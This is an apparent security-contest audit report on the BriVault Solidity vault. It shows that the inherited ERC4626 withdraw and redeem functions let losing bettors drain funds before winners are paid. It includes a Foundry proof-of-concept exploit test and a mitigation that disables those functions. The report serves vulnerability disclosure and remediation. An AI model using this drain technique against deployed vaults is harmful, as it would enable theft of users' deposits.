BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Critical: Losers Can Withdraw/Redeem via ERC4626, Draining Vault Before Winners

mnusurov

Critical: Losers Can Withdraw/Redeem via ERC4626, Draining Vault Before Winners

Description

  • withdraw() in BriVault checks userToCountry[msg.sender] == winner and uses winnerSet modifier.

  • However, ERC4626 standard functions withdraw() and redeem() are inherited and not overridden, allowing anyone to call them at any time.

// @> Contract inherits ERC4626 but does not overrides withdraw, redeem methods
constructor (IERC20 _asset, uint256 _participationFeeBsp, uint256 _eventStartDate, address _participationFeeAddress, uint256 _minimumAmount, uint256 _eventEndDate) ERC4626 (_asset) ERC20("BriTechLabs", "BTT") Ownable(msg.sender) {
...
function withdraw() external winnerSet {
if (keccak256(...) != keccak256(...)) revert didNotWin();
// @> This is a custom function, NOT the ERC4626 one
}
...

Risk

Likelihood:

  • After setWinner() — one withdraw() or redeem() call via ERC4626 interface.

Impact:

  • Losers drain their full deposit (minus fee) from vault.

  • Winners face ERC20InsufficientBalance — vault underfunded.

  • Protocol loses all credibility — payout mechanism broken.

Proof of Concept

file test/BriVaultExploitTest.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
// solhint-disable-next-line no-unused-import
import {IERC20Errors} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {Test} from "forge-std/Test.sol";
​
import {BriVault} from "../src/briVault.sol";
import {MockERC20} from "./MockErc20.t.sol";
​
abstract contract BriVaultExploitTest is Test {
using Math for uint256;
​
uint256 internal constant FEE_BASE = 10000;
uint256 internal constant FEE_BSP = 100; // 1%
uint256 internal constant AFTER_FEE = FEE_BASE - FEE_BSP;
​
uint256 internal constant MIN_AMOUNT = 0.001 ether;
uint256 internal constant ATTACKER_AMOUNT = 1 ether;
uint256 internal constant USER1_AMOUNT = 5 ether;
uint256 internal constant WINNER_COUNTRY_ID = 0;
​
uint256 internal immutable startTime = block.timestamp + 1 days;
uint256 internal immutable endTime = startTime + 30 days;
MockERC20 internal immutable token = new MockERC20("Mock", "MTK");
​
BriVault internal vault;
​
address internal owner = makeAddr("owner");
address internal attacker1 = makeAddr("attacker1");
address internal attacker2 = makeAddr("attacker2");
address internal user1 = makeAddr("user1");
address internal feeAddr = makeAddr("feeAddr");
string[48] internal countries;
​
uint256 internal totalWinnerShares;
uint256 internal finalizedVaultAsset;
​
function setUp() external {
for (uint256 i = 0; i < 48; i++) countries[i] = vm.toString(i);
_deployVault(MIN_AMOUNT);
_deposit(attacker1, attacker1, ATTACKER_AMOUNT);
_deposit(user1, user1, USER1_AMOUNT);
}
​
function _deployVault(uint256 minAmount) internal {
vm.startPrank(owner);
vault = new BriVault({
_asset: IERC20(address(token)),
_participationFeeBsp: FEE_BSP,
_eventStartDate: startTime,
_participationFeeAddress: feeAddr,
_minimumAmount: minAmount,
_eventEndDate: endTime
});
vault.setCountry(countries);
vm.stopPrank();
}
​
function _deposit(address user, address receiver, uint256 assets) internal {
token.mint(user, assets);
vm.startPrank(user);
token.approve(address(vault), assets);
vault.deposit(assets, receiver);
vm.stopPrank();
finalizedVaultAsset += assets.mulDiv(AFTER_FEE, FEE_BASE);
}
​
function _joinEvent(address user, uint256 countryId) internal {
vm.prank(user);
vault.joinEvent(countryId);
if (countryId == WINNER_COUNTRY_ID) totalWinnerShares += vault.balanceOf(user);
}
​
function _withdraw(address user, uint256 userShares, string memory label) internal returns (uint256 userBalance) {
vm.prank(user);
vault.withdraw();
​
userBalance = userShares.mulDiv(finalizedVaultAsset, totalWinnerShares);
assertEq(userBalance, token.balanceOf(user), string(abi.encodePacked(label, " wrong balance")));
}
​
function _erc4626RedeemOrWithdraw(bool useRedeem, address user, string memory label) internal {
uint256 amountShares = vault.balanceOf(user);
uint256 amountAssets = vault.convertToShares(amountShares);
vm.prank(user);
useRedeem ? vault.redeem(amountShares, user, user) : vault.withdraw(amountAssets, user, user);
​
assertEq(
token.balanceOf(user),
amountAssets,
string(abi.encodePacked(label, " did not receive correct amount"))
);
}
​
function _endEventAndSetWinner() internal {
vm.warp(endTime + 1 seconds);
vm.prank(owner);
vault.setWinner(WINNER_COUNTRY_ID);
}
}

file test/PocC06.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {BriVaultExploitTest, IERC20Errors, Math} from "./BriVaultExploitTest.t.sol";
​
contract PocC06 is BriVaultExploitTest {
using Math for uint256;
​
function test_criticalLooserCanWithdrawOrRedeemViaERC4626(bool useRedeem) external {
// Step 1: Users join — attacker on losing country, user1 on winning
_joinEvent(attacker1, (WINNER_COUNTRY_ID + 1) % countries.length); // Loser
_joinEvent(user1, WINNER_COUNTRY_ID); // Winner
​
// Step 2: Event ends, winner set
_endEventAndSetWinner();
​
// Step 3: Loser uses ERC4626 withdraw/redeem → drains their share
_erc4626RedeemOrWithdraw(useRedeem, attacker1, "Attacker1");
​
// Step 4: Winner tries to withdraw via custom function → reverts
uint256 vaultBalance = token.balanceOf(address(vault));
uint256 user1Expected = vault.balanceOf(user1).mulDiv(finalizedVaultAsset, totalWinnerShares);
​
vm.expectRevert(
abi.encodeWithSelector(
IERC20Errors.ERC20InsufficientBalance.selector,
address(vault),
vaultBalance,
user1Expected
)
);
vm.prank(user1);
vault.withdraw();
​
// Step 5: Winner tries ERC4626 → still gets *something*, but underpaid
_erc4626RedeemOrWithdraw(useRedeem, user1, "User1");
uint256 user1Balance = token.balanceOf(user1);
emit log_named_uint("User1 expected fair", user1Expected);
emit log_named_uint("User1 actually got", user1Balance);
assertGt(user1Expected, user1Balance, "User1 underpaid via ERC4626");
}
}

Recommended Mitigation

Description

  • override parent ERC4626 methods withdraw and redeem

+error MethodDisabled();
...
+function withdraw(uint256, address, address) public override returns (uint256) {
+ revert MethodDisabled();
+}
+
+function redeem(uint256, address, address) public override returns (uint256) {
+ revert MethodDisabled();
+}
...
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!